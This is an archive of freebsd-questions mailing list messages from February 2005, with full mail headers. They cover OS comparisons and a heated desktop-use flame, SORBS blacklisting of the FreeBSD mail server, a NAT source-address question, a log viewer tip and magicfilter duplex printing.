RCVD_IN_SORBS_DUL X-Spam-Level: Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: mark.rowlands@mypost.se List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:29:24 -0000 On Saturday 12 February 2005 12:46, Anthony Atkielski wrote: > Ted Mittelstaedt writes: > > I don't see why you are so proud of not doing this. Is it your > > intention to cause problems for companies that want to use FreeBSD > > in their products? This sort of thing is exactly what the > > chicken littles like Anthony are talking about. > > It surprises and worries me that anyone does it, for precisely the > reasons that you describe. Should I ever contribute code to FreeBSD, > I'll just assign the copyright, or release the code to the public > domain. I have to wonder about the motivations of someone who says he > wants to contribute to a Great Cause but then insists on retaining his > copyright. > > Remember that in some jurisdictions, copyright reverts to the author > after a certain number of years, no matter what he says to the contrary. > This includes the U.S.; see 17 USC 203. from the mailling list info :- freebsd-chat Non-technical items related to the FreeBSD community freebsd-questions User questions and technical support I think it should be clear where this conversation belongs. The issues you are discussing are emphatically non-technical. Please? From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:59:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1CD7616A4CF for ; Sat, 12 Feb 2005 12:59:23 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id B457543D2F for ; Sat, 12 Feb 2005 12:59:22 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CCxPj34284 for ; Sat, 12 Feb 2005 04:59:25 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 04:59:24 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1337541312.20050212132519@wanadoo.fr> Importance: Normal Subject: RE: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:59:23 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 4:25 AM > To: freebsd-questions@freebsd.org > Subject: Re: Instead of freebsd.com, why not... > > > The stabilities of NT-based systems and UNIX are roughly the same when > kernels are compared. How exactly does one do this when the NT kernel code isn't available for perusal? Other than, of course, just running both and assuming that because neither happens to crash running a screensaver, that they must be roughly the same. That's a marketing comparison which has no value. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 13:03:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8076C16A4CE for ; Sat, 12 Feb 2005 13:03:24 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 42E2B43D2F for ; Sat, 12 Feb 2005 13:03:24 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 049DA1C000A8 for ; Sat, 12 Feb 2005 14:03:23 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id E0FD91C000A7 for ; Sat, 12 Feb 2005 14:03:22 +0100 (CET) X-ME-UUID: 20050212130322921.E0FD91C000A7@mwinf1107.wanadoo.fr Date: Sat, 12 Feb 2005 14:03:22 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <156527043.20050212140322@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1337541312.20050212132519@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 13:03:24 -0000 Ted Mittelstaedt writes: > How exactly does one do this when the NT kernel code isn't available > for perusal? One gains access to the kernel code. However, just observing the systems and studying their design tells a lot as well. The NT kernel is very well designed. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 13:05:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4821C16A4CE for ; Sat, 12 Feb 2005 13:05:33 +0000 (GMT) Received: from lilzmailso01.liwest.at (lilzmailso01.liwest.at [212.33.55.23]) by mx1.FreeBSD.org (Postfix) with ESMTP id CF0FB43D31 for ; Sat, 12 Feb 2005 13:05:32 +0000 (GMT) (envelope-from dgw@liwest.at) Received: from cm248-169.liwest.at ([81.10.248.169]) by lilzmailso01.liwest.at with esmtp (Exim 4.24) id 1Czwxm-000272-LW; Sat, 12 Feb 2005 14:05:30 +0100 From: Daniela To: Alin-Adrian Anton Date: Sat, 12 Feb 2005 15:05:20 +0000 User-Agent: KMail/1.5.3 References: <200502112206.43267.dgw@liwest.at> <420D2348.4020408@spintech.ro> In-Reply-To: <420D2348.4020408@spintech.ro> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121505.20754.dgw@liwest.at> cc: questions@freebsd.org Subject: Re: How do I set the source address on a multi-homed host? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dgw@liwest.at List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 13:05:33 -0000 On Friday 11 February 2005 21:27, Alin-Adrian Anton wrote: > Daniela wrote: > > I have two NICs (one inside and one outside interface) with NAT > > activated. The problem is that every time I establish a connection with a > > machine on my LAN, it uses the address of the outside interface as the > > source of the packets, which creates problems with my firewall. How do I > > tell my machine to use the other address whenever I connect to a local > > machine? > > > > Daniela > > Hi Daniela, > > Can you please be more specific? You mean this happens when you are > connecting from inside intranet to some other point inside intranet? Yes, this happens when I connect from my machine (which functions as a router with NAT to allow the other LAN machines connect to the internet) to another LAN machine. When the router establishes a connection to another point in the intranet, the source address used is my official IP, and not 10.0.0.1, which is the intranet IP of the router. In other words, I want the source address to be 10.0.0.1 on every outgoing connection where the destination is inside my intranet. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 13:08:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2D74716A4CF for ; Sat, 12 Feb 2005 13:08:15 +0000 (GMT) Received: from out011.verizon.net (out011pub.verizon.net [206.46.170.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8A0EA43D48 for ; Sat, 12 Feb 2005 13:08:14 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out011.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050212130813.DDMF28171.out011.verizon.net@ringworm.mechee.com> for ; Sat, 12 Feb 2005 07:08:13 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 405DD2CE740; Sat, 12 Feb 2005 05:03:58 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 05:03:55 -0800 User-Agent: KMail/1.7.1 References: <200502120402.56761.reso3w83@verizon.net> <466726127.20050212131954@wanadoo.fr> In-Reply-To: <466726127.20050212131954@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502120503.55795.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out011.verizon.net from [4.26.84.7] at Sat, 12 Feb 2005 07:08:12 -0600 Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 13:08:15 -0000 On Saturday 12 February 2005 04:19 am, Anthony Atkielski wrote: > Michael C. Shultz writes: > > That was obvious by your confusion with Firefox an opera for > > example. > > What confusion? > > Firefox exists only for Windows, Mac OS X, and Linux. I politely cautioned you over the wisdom of remaining silent versus the embarassment of speaking out when you are clueless. Now that we both have resolved whose the fool may I direct your attention to: /usr/ports/www/firefox > All of these > require a GUI to work. I don't run a GUI on my FreeBSD machine. The > only browser I have installed on FreeBSD is lynx. And you STILL think you are qualified to say it is a poor desktop? > > Opera has a wider selection of platforms (including FreeBSD), but > it's still a GUI browser. > > > You admit you don't know what is in ports yet feel it is OK to > > say FreeBSD is a poor desktop? > > I can say that based on the OS alone. Can't you find a windows maillist somewhere? Sorry, maybe you did and even they give you the boot? > > > Ever heard the saying "better to remain silent and thought a > > fool....."? > > Yes. Un believable. > > > How do you know? You just admitted you don't use what is in > > ports... > > Because I've checked with the vendors for these products. They ought > to know. Yes, I can see how you may feel comfortable trusting salesmen. > > > Why would you say FreeBSD is a poor desktop when your only desktop > > experience is with windows? > > I do have desktop experience with FreeBSD. I tried it briefly and > abandoned it. It was so lame compared to Windows that it didn't take > but a day or two to realize that it was a waste of my time. I don't > have any emotional investment in operating systems, so I just went > back to Windows. Yes. Please go back to their list as well. They miss you probably. > > > I don't blame you, when something goes wrong on a Windows system > > the solution is usually to reinstall everything. > > No more so than with any other OS. The main reason I disallow > automatic updates is that I want to know exactly what is being > installed on the machine at all times. I'm sure you are without a clue on that issue also. > > > FreeBSD is a bit more robust than that. > > No, it's not. It's neither better nor worse. But in a production > environment, you never do any updates automatically, anyway. Oh really? > > > On this point I guess you'll have to take my word > > seeing as you have no experience with FreeBSD as a desktop.... > > Just as you've taken my word about the number of applications I run > simultaneously on Windows? Un like you and FreeBSD, I have years of experience with windows, I am quite comfortable with calling your claims bullshit. > > > Why do you feel you are qualified to say FreeBSD is a poor desktop > > again? > > Because I've used it for that purpose, along with a number of other > operating systems. Windows wins by a handsome margin. The closest > competitor is the Mac. Nothing else is even in the running. > > > bullshit Now you are reorganizing this message?? Mayl I remind you, my deceitful little friend where the billshit really fell: > I routinely have two dozen applications running under Windows, and > depending on memory available and required, it can easily run several > times that, or more. Bullshit. > On my 1.8 GHz 1.5 GB machine, I have one desktop that can run > everything. Bullshit > I can watch DVDs and listen to music even with dozens of applications > running. bullshit > I can go months without rebooting. My NT machine has gone for nearly > a year without a reboot. I don't remember ever seeing a system crash > on my XP system, and I've only seen a handful of crashes on the NT > system (all because of bad drivers). bullshit. You are a flat out liar friend. > > I don't currently run database servers. But database servers have a > lot of issues relating to performance, not just file-system > fragmentation. They do on NT anyways. -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 13:25:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8782C16A4CE for ; Sat, 12 Feb 2005 13:25:41 +0000 (GMT) Received: from fw.farid-hajji.net (fw.farid-hajji.net [213.146.115.42]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4BC6443D4C for ; Sat, 12 Feb 2005 13:25:40 +0000 (GMT) (envelope-from cpghost@cordula.ws) Received: from fw.farid-hajji.net (net4801-2 [192.168.254.1]) by fw.farid-hajji.net (Postfix) with ESMTP id B763B4AEF5; Sat, 12 Feb 2005 14:21:30 +0100 (CET) Date: Sat, 12 Feb 2005 14:21:30 +0100 From: cpghost@cordula.ws To: Ted Mittelstaedt Message-ID: <20050212132130.GA36643@fw.farid-hajji.net> References: <20050212042318.GA34223@fw.farid-hajji.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.6i cc: freebsd-questions@freebsd.org Subject: Re: mx2.freebsd.org in SORBS, AGAIN! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 13:25:41 -0000 On Sat, Feb 12, 2005 at 03:18:17AM -0800, Ted Mittelstaedt wrote: > > for some reason, mx2.freebsd.org is being repeatedly added to, > > and some days later removed from the SORBS dnsbl. They keep > > adding it, and then removing it with a reason: Listed in error. > > Right now, it's listed again. > > A spammer is forging several of SORBS spamtrap e-mail > addresses on their outgoing spams. The spams hit freebsd.org > which of course is bouncing them back to the sender, which > is in this case is the spamtrap e-mail addresses. This > triggers the SORBS autolisting. Ah, okay. That's a good explanation. I already suspected that mx2 was misconfigured or something. > If your using sendmail, you should be able to workaround this by > putting the freebsd.org mailserver's IP address in your access.db > file, that should override the lockout check. (assuming your > using sendmail to call SORBS) If your using SORBS from > SpamAssassin, then you can whitelist the freebsd mailing list > traffic. I'm using postfix, so I'll have to investigate how to whitelist IP addresses. Thanks :) > I personally don't use SORBS on my mailservers, but not because > I don't think they are a good blacklist. I really don't know > enough about them to know if they are good or not. However > I do run a script that examines the counts of mail blocked by > blacklist servers, and I periodically review them and prune > away the blacklist servers that appear to be ineffective. I would > suggest that you do the same and use the results of this > to determine whether to continue using SORBS. That's a very good idea too. > Ted Thanks, -cpghost. -- Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 13:30:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7FB5916A4CE for ; Sat, 12 Feb 2005 13:30:38 +0000 (GMT) Received: from pop-a065c32.pas.sa.earthlink.net (pop-a065c32.pas.sa.earthlink.net [207.217.121.247]) by mx1.FreeBSD.org (Postfix) with ESMTP id 30ABD43D4C for ; Sat, 12 Feb 2005 13:30:38 +0000 (GMT) (envelope-from napper@docwho.org) Received: from fl-204-215-32-27.dyn.sprint-hsd.net ([204.215.32.27] helo=kt.weeble.com) by pop-a065c32.pas.sa.earthlink.net with smtp (Exim 3.33 #1) id 1CzxM5-0006IK-00 for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 05:30:37 -0800 Date: Sat, 12 Feb 2005 08:30:36 -0500 From: Napper To: freebsd-questions@freebsd.org Message-Id: <20050212083036.6a917ac0.napper@docwho.org> X-Mailer: Sylpheed version 1.0.1 (GTK+ 1.2.10; i386-portbld-freebsd4.11) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Where is freebsd-questions? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 13:30:38 -0000 Enough already. Please take *all* the off-topic postings to freebsd-chat. Thanks, Nap -- From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 13:33:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C825716A4CE for ; Sat, 12 Feb 2005 13:33:36 +0000 (GMT) Received: from asmtp01.eresmas.com (asmtp01.eresmas.com [62.81.235.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id F3EE943D2D for ; Sat, 12 Feb 2005 13:33:35 +0000 (GMT) (envelope-from ea1abz@wanadoo.es) Received: from [192.168.108.55] (helo=mx01.eresmas.com) by asmtp01.eresmas.com with esmtp (Exim 4.30) id 1CzxOv-0002eu-UC for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 14:33:33 +0100 Received: from [80.103.13.164] (helo=[80.103.13.164]) by mx01.eresmas.com with asmtp (Exim 4.41) id 1CzxOt-0000SY-S1 for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 14:33:33 +0100 Message-ID: <420E0164.7090300@wanadoo.es> Date: Sat, 12 Feb 2005 14:15:16 +0100 From: Ramiro Aceves User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> <420DE422.3020102@wanadoo.es> <1546398643.20050212123202@wanadoo.fr> In-Reply-To: <1546398643.20050212123202@wanadoo.fr> X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Score: 0.0 (/) Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 13:33:36 -0000 Hello Anthony Thanks for your reply. Anthony Atkielski wrote: > Ramiro Aceves writes: > > >>I use Debian as my main system and I do not agree with you. I do not >>think that Linux distributions I use are doing more enphasis on the >>desktop. At least on Debian or Gentoo (the distros I know) you always >>have the choice (the whole OS) to install or not the X-window system. > > > I prefer not to have to choose among three dozen different > "distributions." Keeping on top of releases is hard enough; having > multiple releases of multiple distributions is a useless complication. I think that it is better to have choices, that is why I choosed Debian from among hundred of Linux distributions. Also I choosed FreeBSD from the BSDs. > > And Gentoo seems to pop up all too often on Bugtraq (so does Linux in > general). I have not played too much with gentoo, so I do not know. > > >>They also have a "base system" concept. If you need a server you only >>install the software you need for the server. If you want a desktop full >>of bells ans whistles, you install the X-window System, and whatever >>window manager you like. I think it is the same for FreeBSD. > > > I've never noticed anything like that during installation. You just > install FreeBSD, period. You do have the choice of X or not, but > that's about it. When I install Debian I install the Debian base system, period. Then I choose to install the rest of the software. It is the same. Debian "required" packages are the base OS. > > >>I asume that the Debian guys are expertise enough to put that "mix" in a >>comprehensive, coherent,and consistent set of system programs to run >>under Linux kernel, as you say. > > > Maybe, maybe not. I don't have time to try out every distribution > available in the world to find out which is best. FreeBSD has proven > itself for me, and so I run FreeBSD. I like to keep things simple. I agree with you, If something works, you do not need to change. > > >>My system also never hangs and works very well. > > > That's true of every system I have, both UNIX and Windows. It's pretty > much the minimum one should expect from any OS these days. Yes, but some OSes are famous for their "blue screens" ;-) . Well, I lie, I have had a full system crash both in Linux and FreeBSD. One day FreeBSD 5.3 completely crashed when doing something in X-window System on an old pentium 75MHz. Sometimes I get my Debian box crashed in my 1200 MHz AMD when I watch TV card in X-window and move windows (I do not know if it is a matter of bttv driver or X-window System bug, but it is anoying). On the other had, when I used Windows I had daily crashes :-) > >>So I agree with Nick, I think Linux and FreeBSD are two great OSes, and >>that each one has its pros and cons. Choosing one or the other, is a >>matter of taste. > > > Maybe. I think Linux is a matter of hype, primarily. It's amazing how ^ -----------------------------------------| Cant find this on my english dictionary( I do not know what it means) > many Linux users had never heard of UNIX before getting involved with > Linux; indeed, some of them _still_ haven't heard of UNIX. That is far > less the case with other UNIX-like or UNIX-derived operating systems > (except Mac OS X). I worked a little with Unix before I new Linux (at University). I know that many Linux users had never heard of UNIX, many windows users have never heard of Linux nor Unix, many Linux users had never heard of FreeBSD, but that is another story. > > >>I although have observed that in this list, some of you hate Linux. > > > Choosing operating systems is not an emotional issue for me, so I don't > hate or love any OS. I choosed Linux cause I think it was better than the windozes. I never heard about FreeBSD. When I knew that FreeBSD existed (reading a magazine), it strongly aroused my curiosity, so I am learning it to see if it is better than Linux. If in the future I can prove that, I will change, sure. In the mean time, I am playing with it. Here in Spain, in the last two months, I have seen two Linux magazines that came with FreeBSD 5.3 CDROM. That is a good thing! Sadly, I can not find any FreeBSD exclusive magazines. That fortunately is not a problem cause FreeBSD has got a very good handbook and documentation. > > >>I have never seen insults to FreeBSD in the Debian e-mail lists. > > > Most of them have probably never heard of FreeBSD. That is true. > > >>Anyway, I like both very much, I am following this e-mail list and >>playing with my FreeBSD install in another slice to get confortable and >>perhaps, one day, I will change. > > > I remember when I had the luxury of being able to play with operating > systems, instead of depending on them for productive work. I can't > afford that today. I use my computer for my engineering calculations, surfing the net and e-mailing, and for fun and hobbies such as astronomy and amateur radio. Both FreeBSD and Debian GNU/Linux seem to satisfy my requirements. Indeed they share most of what FreeBSD call "third party apps". If an OS does not have the "third party apps", it is not useful for most of us. Ramiro. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 13:33:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A071116A4CE for ; Sat, 12 Feb 2005 13:33:39 +0000 (GMT) Received: from asmtp04.eresmas.com (asmtp04.eresmas.com [62.81.235.144]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1115F43D1D for ; Sat, 12 Feb 2005 13:33:39 +0000 (GMT) (envelope-from ea1abz@wanadoo.es) Received: from [192.168.108.54] (helo=mx01.eresmas.com) by asmtp04.eresmas.com with esmtp (Exim 4.30) id 1CzxOz-00005K-Gl; Sat, 12 Feb 2005 14:33:37 +0100 Received: from [80.103.13.164] (helo=[80.103.13.164]) by mx01.eresmas.com with asmtp (Exim 4.41) id 1CzxOy-0003Jn-Qo; Sat, 12 Feb 2005 14:33:37 +0100 Message-ID: <420E0562.1090806@wanadoo.es> Date: Sat, 12 Feb 2005 14:32:18 +0100 From: Ramiro Aceves User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Erik Norgaard References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> <420DE422.3020102@wanadoo.es> <420DEAC8.3050906@locolomo.org> In-Reply-To: <420DEAC8.3050906@locolomo.org> X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Score: 0.0 (/) cc: freebsd-questions@freebsd.org Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 13:33:39 -0000 Erik Norgaard wrote: > Ramiro Aceves wrote: > >> I although have observed that in this list, some of you hate Linux. >> I have never seen insults to FreeBSD in the Debian e-mail lists. They >> some times talk about some experiences about FreeBSD, but never say >> things like " such crap FreeBSD ......" as I have heard here many times. > > > I have a friend who refused to touch BSD because "BSD sucks". In any way > FreeBSD didn't behave as Mandrake, it was because "BSD sucks". Why isn't > it bash? why isn't it vim?, etc. And you have the endless posts, "BSD is > dead", you have the endless flames on which licence is superior. etc. Ok, I agree, I also hate the Mandrake distro. I installed it once I uninstalled it inmediately when I read something like " this wizard will allow you configure it without using the diabolical command shell" > > Within the Linux community you will find people who will respond to any > problem, "just use , I use it, and it solves exactly your > problem on ". I can't count how many times I have heard, > "Mandrake is the RedHat that works", "use Debian, then you don't have to > worry about dependencies", or "use RedHat, you want business, right?", > "yeah, I tried too it sucks" ... etc. Yes, you are right, but sometimes that is the best answer. When someone in a Debian list asks "I want to abandon windows, I have made an attempt to install Debian, it says that the installation is finished and I only can see a crap dark screen with letters and numbers. How can I install it with the mouse and some point and click?". The right answer is: "Debian is not for you, install another distro like Mandrake, Ubuntu or Knoppix, they will do it automagically for you". :-) > > I think that regardless of your choice of OS, you will allways find > passionate people arguing why their OS/distro is better, and most have > some valid points - but do these points apply to you? Everybody like me that are not experts, like to see what other more expert people think. But you are right, the best is buid your own idea about the OS. > > Obviosly, I use FreeBSD because I think it is the best, why whould I > choose a product I think is inferior? It really doesn't make sense to > ask this sort of question unless you clearly define the criterias. Yes, that is the right answer to the first question on this thread. The question "FreeBSd vs Linux" should not be asked anymore on freebsd-questions, this is a list for questions about FreeBSD, not Linux. Thanks Ramiro. > > Cheers, Erik From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 13:47:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 402F116A4CE for ; Sat, 12 Feb 2005 13:47:29 +0000 (GMT) Received: from gen129.n001.c02.escapebox.net (gen129.n001.c02.escapebox.net [213.73.91.129]) by mx1.FreeBSD.org (Postfix) with ESMTP id BFA8843D39 for ; Sat, 12 Feb 2005 13:47:28 +0000 (GMT) (envelope-from gemini@geminix.org) Message-ID: <420E08ED.1080704@geminix.org> Date: Sat, 12 Feb 2005 14:47:25 +0100 From: Uwe Doering Organization: Private UNIX Site User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Received: from gemini by geminix.org with asmtp (TLSv1:AES256-SHA:256) (Exim 3.36 #1) id 1CzxcN-000Ooe-00; Sat, 12 Feb 2005 14:47:27 +0100 Subject: Re: log viewer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 13:47:29 -0000 peter.lidell@post.dk wrote: > Hello, > > I am looking for a good log viewer. It would be a plus if it comes with a gui but not a must. Do any of you guys use or have heard of a good log viewer tool for FreeBSD? In case you mean a program for monitoring log files, possibly several of them on one screen, you may want to take a look at 'multitail'. It's a curses application, but with 'xterm' you can use it on a GUI as well. Regards, Uwe -- Uwe Doering | EscapeBox - Managed On-Demand UNIX Servers gemini@geminix.org | http://www.escapebox.net From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 14:05:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C6BFD16A4CE; Sat, 12 Feb 2005 14:05:01 +0000 (GMT) Received: from mailgate2.zdv.Uni-Mainz.DE (mailgate2.zdv.Uni-Mainz.DE [134.93.178.130]) by mx1.FreeBSD.org (Postfix) with ESMTP id 53FB143D45; Sat, 12 Feb 2005 14:05:01 +0000 (GMT) (envelope-from ohartman@mail.uni-mainz.de) Received: from [134.93.180.218] (edda.Physik.Uni-Mainz.DE [134.93.180.218]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mailgate2.zdv.Uni-Mainz.DE (Postfix) with ESMTP id EEE16300074F; Sat, 12 Feb 2005 15:04:59 +0100 (CET) Message-ID: <420E0D00.4090303@mail.uni-mainz.de> Date: Sat, 12 Feb 2005 15:04:48 +0100 From: "O. Hartmann" Organization: Institut =?ISO-8859-15?Q?f=FCr_Geophysik?= User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; de-AT; rv:1.7.5) Gecko/20050202 X-Accept-Language: de-de, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org, freebsd-ports@freebsd.org Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at uni-mainz.de Subject: Magicfilter 2.X and duplex printing X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 14:05:01 -0000 Hello. Using magicfilter 2.3.b out of the ports runs me into a problem printing duplex on a duplex capable PS printer. In magicfilter 1.X it was simple inserting an intermediate conversion step with "psset" for preparing data stream being print duplex and/or selecting a different tray for certain paper qualities, colours or for transparency. In magicfilter 2.3 I miss such a facility or don't know how to implement such a conversion intermediate step in M4 (I do not program M4). A solution would be to save a file/document, convert to PS, using psset with the appropriate Duplex/Tray selectors and the print this out to the standard printing queue. But this isn't very convenient when printing from applications like Mozilla or other toolsets in which I have to give a printqueue. I feel more flexible selecting a specific queue for my own purposes than doinf many conversion steps outside an application. Does anyone solved such a problem? magicfilter 1.X was a very powerful solution for managin many printqueues on a printserver especially the very nice facilities of using many intermediate conversion steps of files beeing print were useful. I miss this simple way in magicfilter 2.3! Thnaks for your help, Oliver From 